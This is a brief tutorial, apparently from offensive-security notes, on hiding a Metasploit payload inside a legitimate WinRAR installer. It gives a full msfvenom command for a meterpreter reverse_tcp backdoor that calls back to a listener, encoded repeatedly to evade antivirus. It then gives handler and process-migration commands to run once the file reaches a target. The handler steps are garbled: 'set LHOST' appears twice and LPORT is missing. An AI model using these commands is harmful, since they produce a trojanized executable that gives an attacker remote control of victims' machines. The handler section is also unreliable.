Injecting Payloads Into Windows Portable Executables

You can use the switch “-x” to select a template to use. And yeah, we can use the winrar executables

After downloading the winrar.exe executable

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -e x86/shikata_ga_nai -i 10 -f exe -x /path/to/winrar.exe > winrar.exe

After sending the payload to the target machine, set your metasploit handle

use exploit/multi/handler
set LHOST
set LHOST
run

Then run the post exploitation module to migrate

run post/windows/manage/migrate

This migrates the process into another one
